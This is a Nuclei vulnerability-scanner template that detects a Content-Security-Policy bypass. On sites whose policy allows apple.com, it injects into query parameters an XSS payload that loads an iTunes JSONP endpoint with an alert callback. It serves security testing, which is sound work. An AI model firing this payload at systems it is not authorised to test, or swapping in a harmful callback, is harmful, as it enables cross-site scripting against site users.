id: itunes-csp-bypass

info:
  name: Content-Security-Policy Bypass - iTunes
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,itunes,vuln

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "apple.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: itunes_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://itunes.apple.com/se/rss/toppodcasts/json?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "itunes_csp_xss == true"
# digest: 4b0a00483046022100b34b4e734e36ce7c9be3afab61164350adca48a1a462c19a5e068512d5e04bf5022100c027069891021e9c4755dceed7c7a88d408854ed8a88d52399d7e1173232399b:922c64590222798bb761d5b6d8e72950